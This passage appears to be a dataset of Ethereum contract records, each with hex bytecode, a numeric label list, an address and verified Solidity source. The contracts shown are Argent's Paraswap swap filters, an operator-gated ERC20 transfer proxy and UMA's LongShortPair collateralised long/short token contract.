04082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612e8a5784516001600160a01b031683529383019391830191600101612e65565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612ebe57612ebe612f56565b500190565b600082612ee057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612eff57612eff612f56565b500290565b600082821015612f1657612f16612f56565b500390565b600181811c90821680612f2f57607f821691505b60208210811415612f5057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461174a57600080fdfea2646970667358221220c26866a231efa5061481250340fa94cc614c48090aa45a486c24c700c96684c764736f6c63430008070033
[ 21, 4, 7, 19, 9, 13, 5 ]
0xf2a075F21aAa3cC0F5e832938279D3AcafEe8548
// Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "./IFilter.sol"; abstract contract BaseFilter is IFilter { function getMethod(bytes memory _data) internal pure returns (bytes4 method) { // solhint-disable-next-line no-inline-assembly assembly { method := mload(add(_data, 0x20)) } } } // Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; interface IFilter { function isValid(address _wallet, address _spender, address _to, bytes calldata _data) external view returns (bool valid); } // Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "../BaseFilter.sol"; import "./ParaswapUtils.sol"; /** * @title ParaswapUniV2RouterFilter * @notice Filter used for calls to Paraswap's "UniswapV3Router", which is Paraswap's custom UniswapV2 router. UniswapV3Router is deployed at: - 0x86d3579b043585A97532514016dCF0C2d6C4b6a1 for UniswapV2 - 0xBc1315CD2671BC498fDAb42aE1214068003DC51e for SushiSwap - 0xEC4c8110E5B5Bf0ad8aa89e3371d9C3b8CdCD778 for LinkSwap - 0xF806F9972F9A34FC05394cA6CF2cc606297Ca6D5 for DefiSwap * @author Olivier VDB - <[emailΒ protected]> */ contract ParaswapUniV2RouterFilter is BaseFilter { bytes4 private constant SWAP = bytes4(keccak256("swap(uint256,uint256,address[])")); bytes4 private constant ERC20_APPROVE = bytes4(keccak256("approve(address,uint256)")); // The token registry address public immutable tokenRegistry; // The UniV2 factory address public immutable factory; // The UniV2 initCode bytes32 public immutable initCode; // The WETH address address public immutable weth; constructor(address _tokenRegistry, address _factory, bytes32 _initCode, address _weth) { tokenRegistry = _tokenRegistry; factory = _factory; initCode = _initCode; weth = _weth; } function isValid(address /*_wallet*/, address _spender, address _to, bytes calldata _data) external view override returns (bool valid) { // disable ETH transfer if (_data.length < 4) { return false; } bytes4 methodId = getMethod(_data); if(methodId == SWAP) { (,, address[] memory path) = abi.decode(_data[4:], (uint256, uint256, address[])); return ParaswapUtils.hasValidUniV2Path(path, tokenRegistry, factory, initCode, weth); } return methodId == ERC20_APPROVE && _spender != _to; } } // Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; /** * @title ParaswapUtils * @notice Common methods used by Paraswap filters */ library ParaswapUtils { address constant internal ETH_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct ZeroExV2Order { address makerAddress; address takerAddress; address feeRecipientAddress; address senderAddress; uint256 makerAssetAmount; uint256 takerAssetAmount; uint256 makerFee; uint256 takerFee; uint256 expirationTimeSeconds; uint256 salt; bytes makerAssetData; bytes takerAssetData; } struct ZeroExV2Data { ZeroExV2Order[] orders; bytes[] signatures; } struct ZeroExV4Order { address makerToken; address takerToken; uint128 makerAmount; uint128 takerAmount; address maker; address taker; address txOrigin; bytes32 pool; uint64 expiry; uint256 salt; } struct ZeroExV4Signature { uint8 signatureType; uint8 v; bytes32 r; bytes32 s; } struct ZeroExV4Data { ZeroExV4Order order; ZeroExV4Signature signature; } function hasValidUniV2Path( address[] memory _path, address _tokenRegistry, address _factory, bytes32 _initCode, address _weth ) internal view returns (bool) { address[] memory lpTokens = new address[](_path.length - 1); for(uint i = 0; i < lpTokens.length; i++) { lpTokens[i] = pairFor(_path[i], _path[i+1], _factory, _initCode, _weth); } return hasTradableTokens(_tokenRegistry, lpTokens); } function pairFor(address _tokenA, address _tokenB, address _factory, bytes32 _initCode, address _weth) internal pure returns (address) { (address tokenA, address tokenB) = (_tokenA == ETH_TOKEN ? _weth : _tokenA, _tokenB == ETH_TOKEN ? _weth : _tokenB); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); return(address(uint160(uint(keccak256(abi.encodePacked( hex"ff", _factory, keccak256(abi.encodePacked(token0, token1)), _initCode )))))); } function hasTradableTokens(address _tokenRegistry, address[] memory _tokens) internal view returns (bool) { (bool success, bytes memory res) = _tokenRegistry.staticcall(abi.encodeWithSignature("areTokensTradable(address[])", _tokens)); return success && abi.decode(res, (bool)); } }
0x608060405234801561001057600080fd5b50600436106100675760003560e01c8063a926e7c711610050578063a926e7c7146100d7578063c45a01551461010c578063e0274e1d1461013357610067565b80633fc8cef31461006c5780639d23c4c7146100b0575b600080fd5b6100937f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6040516001600160a01b0390911681526020015b60405180910390f35b6100937f000000000000000000000000d270702a8344c4801afbd0951cf17a279870004681565b6100fe7f505fef446e85683f8d469f9a29612718156edbc931150eb74e2f3ffae9b3539281565b6040519081526020016100a7565b6100937f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b61014661014136600461069e565b610156565b60405190151581526020016100a7565b6000600482101561016957506000610313565b60006101aa84848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061031c92505050565b90507fffffffff0000000000000000000000000000000000000000000000000000000081167f99585aac0000000000000000000000000000000000000000000000000000000014156102ac57600061020584600481886108c4565b8101906102129190610762565b925050506102a3817f000000000000000000000000d270702a8344c4801afbd0951cf17a27987000467f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f7f505fef446e85683f8d469f9a29612718156edbc931150eb74e2f3ffae9b353927f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610323565b92505050610313565b7fffffffff0000000000000000000000000000000000000000000000000000000081167f095ea7b30000000000000000000000000000000000000000000000000000000014801561030f5750846001600160a01b0316866001600160a01b031614155b9150505b95945050505050565b6020015190565b600080600187516103349190610904565b67ffffffffffffffff81111561035a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610383578160200160208202803683370190505b50905060005b8151811015610443576103f98882815181106103b557634e487b7160e01b600052603260045260246000fd5b6020026020010151898360016103cb91906108ec565b815181106103e957634e487b7160e01b600052603260045260246000fd5b602002602001015188888861044e565b82828151811061041957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03909216602092830291909101909101528061043b8161091b565b915050610389565b5061030f868261059e565b600080806001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461047c578761047e565b835b6001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146104a857876104aa565b845b91509150600080826001600160a01b0316846001600160a01b0316106104d15782846104d4565b83835b6040516bffffffffffffffffffffffff19606084811b8216602084015283901b166034820152919350915088906048016040516020818303038152906040528051906020012088604051602001610578939291907fff00000000000000000000000000000000000000000000000000000000000000815260609390931b6bffffffffffffffffffffffff191660018401526015830191909152603582015260550190565b60408051601f1981840301815291905280516020909101209a9950505050505050505050565b6000806000846001600160a01b0316846040516024016105be9190610877565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167faa1e1eec0000000000000000000000000000000000000000000000000000000017905251610621919061083e565b600060405180830381855afa9150503d806000811461065c576040519150601f19603f3d011682016040523d82523d6000602084013e610661565b606091505b5091509150818015610313575080806020019051810190610313919061073b565b80356001600160a01b038116811461069957600080fd5b919050565b6000806000806000608086880312156106b5578081fd5b6106be86610682565b94506106cc60208701610682565b93506106da60408701610682565b9250606086013567ffffffffffffffff808211156106f6578283fd5b818801915088601f830112610709578283fd5b813581811115610717578384fd5b896020828501011115610728578384fd5b9699959850939650602001949392505050565b60006020828403121561074c578081fd5b8151801515811461075b578182fd5b9392505050565b600080600060608486031215610776578283fd5b833592506020808501359250604085013567ffffffffffffffff8082111561079c578384fd5b818701915087601f8301126107af578384fd5b8135818111156107c1576107c161094c565b8060051b604051601f19603f830116810181811085821117156107e6576107e661094c565b604052828152858101935084860182860187018c1015610804578788fd5b8795505b8386101561082d5761081981610682565b855260019590950194938601938601610808565b508096505050505050509250925092565b60008251815b8181101561085e5760208186018101518583015201610844565b8181111561086c5782828501525b509190910192915050565b6020808252825182820181905260009190848201906040850190845b818110156108b85783516001600160a01b031683529284019291840191600101610893565b50909695505050505050565b600080858511156108d3578182fd5b838611156108df578182fd5b5050820193919092039150565b600082198211156108ff576108ff610936565b500190565b60008282101561091657610916610936565b500390565b600060001982141561092f5761092f610936565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212209d687392053ceca11b05d01b6d782c5ba01b5fd1394b2c19c2360765dfae6c3764736f6c63430008030033
[ 38 ]
0xf2A172F33e4f69Ad048d69b42ac5933Bf8F6072E
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract OperatorRole is Context { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor () internal { } modifier onlyOperator() { require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role"); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } contract OwnableOperatorRole is Ownable, OperatorRole { function addOperator(address account) public onlyOwner { _addOperator(account); } function removeOperator(address account) public onlyOwner { _removeOperator(account); } } contract AuctionERC20TransferProxy is OwnableOperatorRole { function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } function userBalance(IERC20 token, address user) external returns(uint256) { return token.balanceOf(user); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146100fe5780638f32d59b146101135780639870d7fe1461011b578063ac8a584a1461012e578063f2fde38b1461014157610093565b806362a4b0a9146100985780636d70f7ae146100c1578063715018a6146100e1578063776062c3146100eb575b600080fd5b6100ab6100a636600461065a565b610154565b6040516100b891906109b8565b60405180910390f35b6100d46100cf366004610616565b6101dc565b6040516100b8919061093a565b6100e96101ef565b005b6100e96100f9366004610694565b610266565b610106610331565b6040516100b89190610904565b6100d4610340565b6100e9610129366004610616565b610364565b6100e961013c366004610616565b610394565b6100e961014f366004610616565b6103c1565b6040516370a0823160e01b81526000906001600160a01b038416906370a0823190610183908590600401610904565b60206040518083038186803b15801561019b57600080fd5b505afa1580156101af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101d391908101906106f5565b90505b92915050565b60006101d660018363ffffffff6103ee16565b6101f7610340565b61021c5760405162461bcd60e51b815260040161021390610988565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6102716100cf610436565b61028d5760405162461bcd60e51b815260040161021390610968565b6040516323b872dd60e01b81526001600160a01b038516906323b872dd906102bd90869086908690600401610912565b602060405180830381600087803b1580156102d757600080fd5b505af11580156102eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061030f919081019061063c565b61032b5760405162461bcd60e51b8152600401610213906109a8565b50505050565b6000546001600160a01b031690565b600080546001600160a01b0316610355610436565b6001600160a01b031614905090565b61036c610340565b6103885760405162461bcd60e51b815260040161021390610988565b6103918161043a565b50565b61039c610340565b6103b85760405162461bcd60e51b815260040161021390610988565b61039181610482565b6103c9610340565b6103e55760405162461bcd60e51b815260040161021390610988565b610391816104ca565b60006001600160a01b0382166104165760405162461bcd60e51b815260040161021390610998565b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61044b60018263ffffffff61054b16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61049360018263ffffffff61059716565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166104f05760405162461bcd60e51b815260040161021390610958565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61055582826103ee565b156105725760405162461bcd60e51b815260040161021390610948565b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6105a182826103ee565b6105bd5760405162461bcd60e51b815260040161021390610978565b6001600160a01b0316600090815260209190915260409020805460ff19169055565b80356101d6816109f9565b80516101d681610a0d565b80356101d681610a16565b80356101d681610a1f565b80516101d681610a1f565b60006020828403121561062857600080fd5b600061063484846105df565b949350505050565b60006020828403121561064e57600080fd5b600061063484846105ea565b6000806040838503121561066d57600080fd5b600061067985856105f5565b925050602061068a858286016105df565b9150509250929050565b600080600080608085870312156106aa57600080fd5b60006106b687876105f5565b94505060206106c7878288016105df565b93505060406106d8878288016105df565b92505060606106e987828801610600565b91505092959194509250565b60006020828403121561070757600080fd5b6000610634848461060b565b61071c816109cf565b82525050565b61071c816109da565b6000610738601f836109c6565b7f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500815260200192915050565b60006107716026836109c6565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015260400192915050565b60006107b96034836109c6565b7f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861815273766520746865204f70657261746f7220726f6c6560601b602082015260400192915050565b600061080f6021836109c6565b7f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c8152606560f81b602082015260400192915050565b60006108526020836109c6565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815260200192915050565b600061088b6022836109c6565b7f526f6c65733a206163636f756e7420697320746865207a65726f206164647265815261737360f01b602082015260400192915050565b60006108cf601a836109c6565b7f6661696c757265207768696c65207472616e7366657272696e67000000000000815260200192915050565b61071c816109f6565b602081016101d68284610713565b606081016109208286610713565b61092d6020830185610713565b61063460408301846108fb565b602081016101d68284610722565b602080825281016101d68161072b565b602080825281016101d681610764565b602080825281016101d6816107ac565b602080825281016101d681610802565b602080825281016101d681610845565b602080825281016101d68161087e565b602080825281016101d6816108c2565b602081016101d682846108fb565b90815260200190565b60006101d6826109ea565b151590565b60006101d6826109cf565b6001600160a01b031690565b90565b610a02816109cf565b811461039157600080fd5b610a02816109da565b610a02816109df565b610a02816109f656fea365627a7a7231582063d574bf0f69550048427e0e2dc69bf5a264532d23b9db9804f29097c90712026c6578706572696d656e74616cf564736f6c63430005100040
[ 38 ]
0xf2a188aa1Ad37828bC74E159b9FA835db473D918
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../common/financial-product-libraries/long-short-pair-libraries/LongShortPairFinancialProductLibrary.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../common/interfaces/AddressWhitelistInterface.sol"; import "../../oracle/interfaces/FinderInterface.sol"; import "../../oracle/interfaces/OptimisticOracleInterface.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/implementation/Constants.sol"; /** * @title Long Short Pair. * @notice Uses a combination of long and short tokens to tokenize the bounded price exposure to a given identifier. */ contract LongShortPair is Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; /********************************************* * LONG SHORT PAIR DATA STRUCTURES * *********************************************/ enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived } ContractState public contractState; uint64 public expirationTimestamp; // Amount of collateral a pair of tokens is always redeemable for. uint256 public collateralPerPair; // Price returned from the Optimistic oracle at settlement time. int256 public expiryPrice; // number between 0 and 1e18 representing how much collateral long & short tokens are redeemable for. 0 makes each // short token worth collateralPerPair and long tokens worth 0. 1 makes each long token worth collateralPerPair and short 0. uint256 public expiryPercentLong; bytes32 public priceIdentifier; IERC20 public collateralToken; ExpandedIERC20 public longToken; ExpandedIERC20 public shortToken; FinderInterface public finder; LongShortPairFinancialProductLibrary public financialProductLibrary; bytes public customAncillaryData; uint256 public prepaidProposerReward; /**************************************** * EVENTS * ****************************************/ event TokensCreated(address indexed sponsor, uint256 indexed collateralUsed, uint256 indexed tokensMinted); event TokensRedeemed(address indexed sponsor, uint256 indexed collateralReturned, uint256 indexed tokensRedeemed); event ContractExpired(address indexed caller); event PositionSettled(address indexed sponsor, uint256 collateralReturned, uint256 longTokens, uint256 shortTokens); /**************************************** * MODIFIERS * ****************************************/ modifier preExpiration() { require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry"); _; } modifier postExpiration() { require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry"); _; } modifier onlyOpenState() { require(contractState == ContractState.Open, "Contract state is not Open"); _; } /** * @notice Construct the LongShortPair * @param _expirationTimestamp unix timestamp of when the contract will expire. * @param _collateralPerPair how many units of collateral are required to mint one pair of synthetic tokens. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _longToken ERC20 token used as long in the LSP. Mint and burn rights needed by this contract. * @param _shortToken ERC20 token used as short in the LSP. Mint and burn rights needed by this contract. * @param _collateralToken ERC20 token used as collateral in the LSP. * @param _finder UMA protocol Finder used to discover other protocol contracts. * @param _financialProductLibrary Contract providing settlement payout logic. * @param _customAncillaryData Custom ancillary data to be passed along with the price request. If not needed, this * should be left as a 0-length bytes array. * @param _prepaidProposerReward Preloaded reward to incentivize settlement price proposals. * @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 in production. */ constructor( uint64 _expirationTimestamp, uint256 _collateralPerPair, bytes32 _priceIdentifier, ExpandedIERC20 _longToken, ExpandedIERC20 _shortToken, IERC20 _collateralToken, FinderInterface _finder, LongShortPairFinancialProductLibrary _financialProductLibrary, bytes memory _customAncillaryData, uint256 _prepaidProposerReward, address _timerAddress ) Testable(_timerAddress) { finder = _finder; require(_expirationTimestamp > getCurrentTime(), "Expiration timestamp in past"); require(_collateralPerPair > 0, "Collateral per pair cannot be 0"); require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Identifier not registered"); require(address(_getOptimisticOracle()) != address(0), "Invalid finder"); require(address(_financialProductLibrary) != address(0), "Invalid FinancialProductLibrary"); require(_getCollateralWhitelist().isOnWhitelist(address(_collateralToken)), "Collateral not whitelisted"); expirationTimestamp = _expirationTimestamp; collateralPerPair = _collateralPerPair; priceIdentifier = _priceIdentifier; longToken = _longToken; shortToken = _shortToken; collateralToken = _collateralToken; financialProductLibrary = _financialProductLibrary; OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); require( optimisticOracle.stampAncillaryData(_customAncillaryData, address(this)).length <= optimisticOracle.ancillaryBytesLimit(), "Ancillary Data too long" ); customAncillaryData = _customAncillaryData; prepaidProposerReward = _prepaidProposerReward; } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Creates a pair of long and short tokens equal in number to tokensToCreate. Pulls the required collateral * amount into this contract, defined by the collateralPerPair value. * @dev The caller must approve this contract to transfer `tokensToCreate / collateralPerPair` amount of collateral. * @param tokensToCreate number of long and short synthetic tokens to create. * @return collateralUsed total collateral used to mint the synthetics. */ function create(uint256 tokensToCreate) public preExpiration() nonReentrant() returns (uint256 collateralUsed) { collateralUsed = FixedPoint.Unsigned(tokensToCreate).mul(FixedPoint.Unsigned(collateralPerPair)).rawValue; collateralToken.safeTransferFrom(msg.sender, address(this), collateralUsed); require(longToken.mint(msg.sender, tokensToCreate)); require(shortToken.mint(msg.sender, tokensToCreate)); emit TokensCreated(msg.sender, collateralUsed, tokensToCreate); } /** * @notice Redeems a pair of long and short tokens equal in number to tokensToRedeem. Returns the commensurate * amount of collateral to the caller for the pair of tokens, defined by the collateralPerPair value. * @dev This contract must have the `Burner` role for the `longToken` and `shortToken` in order to call `burnFrom`. * @dev The caller does not need to approve this contract to transfer any amount of `tokensToRedeem` since long * and short tokens are burned, rather than transferred, from the caller. * @param tokensToRedeem number of long and short synthetic tokens to redeem. * @return collateralReturned total collateral returned in exchange for the pair of synthetics. */ function redeem(uint256 tokensToRedeem) public nonReentrant() returns (uint256 collateralReturned) { require(longToken.burnFrom(msg.sender, tokensToRedeem)); require(shortToken.burnFrom(msg.sender, tokensToRedeem)); collateralReturned = FixedPoint.Unsigned(tokensToRedeem).mul(FixedPoint.Unsigned(collateralPerPair)).rawValue; collateralToken.safeTransfer(msg.sender, collateralReturned); emit TokensRedeemed(msg.sender, collateralReturned, tokensToRedeem); } /** * @notice Settle long and/or short tokens in for collateral at a rate informed by the contract settlement. * @dev Uses financialProductLibrary to compute the redemption rate between long and short tokens. * @dev This contract must have the `Burner` role for the `longToken` and `shortToken` in order to call `burnFrom`. * @dev The caller does not need to approve this contract to transfer any amount of `tokensToRedeem` since long * and short tokens are burned, rather than transferred, from the caller. * @param longTokensToRedeem number of long tokens to settle. * @param shortTokensToRedeem number of short tokens to settle. * @return collateralReturned total collateral returned in exchange for the pair of synthetics. */ function settle(uint256 longTokensToRedeem, uint256 shortTokensToRedeem) public postExpiration() nonReentrant() returns (uint256 collateralReturned) { // If the contract state is open and postExpiration passed then `expire()` has not yet been called. require(contractState != ContractState.Open, "Unexpired contract"); // Get the current settlement price and store it. If it is not resolved, will revert. if (contractState != ContractState.ExpiredPriceReceived) { expiryPrice = _getOraclePriceExpiration(expirationTimestamp); // Cap the return value at 1. expiryPercentLong = Math.min( financialProductLibrary.percentageLongCollateralAtExpiry(expiryPrice), FixedPoint.fromUnscaledUint(1).rawValue ); contractState = ContractState.ExpiredPriceReceived; } require(longToken.burnFrom(msg.sender, longTokensToRedeem)); require(shortToken.burnFrom(msg.sender, shortTokensToRedeem)); // expiryPercentLong is a number between 0 and 1e18. 0 means all collateral goes to short tokens and 1e18 means // all collateral goes to the long token. Total collateral returned is the sum of payouts. uint256 longCollateralRedeemed = FixedPoint .Unsigned(longTokensToRedeem) .mul(FixedPoint.Unsigned(collateralPerPair)) .mul(FixedPoint.Unsigned(expiryPercentLong)) .rawValue; uint256 shortCollateralRedeemed = FixedPoint .Unsigned(shortTokensToRedeem) .mul(FixedPoint.Unsigned(collateralPerPair)) .mul(FixedPoint.fromUnscaledUint(1).sub(FixedPoint.Unsigned(expiryPercentLong))) .rawValue; collateralReturned = longCollateralRedeemed + shortCollateralRedeemed; collateralToken.safeTransfer(msg.sender, collateralReturned); emit PositionSettled(msg.sender, collateralReturned, longTokensToRedeem, shortTokensToRedeem); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ function expire() public postExpiration() onlyOpenState() nonReentrant() { _requestOraclePriceExpiration(); contractState = ContractState.ExpiredPriceRequested; emit ContractExpired(msg.sender); } /**************************************** * GLOBAL ACCESSORS FUNCTIONS * ****************************************/ /** * @notice Returns the number of long and short tokens a sponsor wallet holds. * @param sponsor address of the sponsor to query. * @return [uint256, uint256]. First is long tokens held by sponsor and second is short tokens held by sponsor. */ function getPositionTokens(address sponsor) public view returns (uint256, uint256) { return (longToken.balanceOf(sponsor), 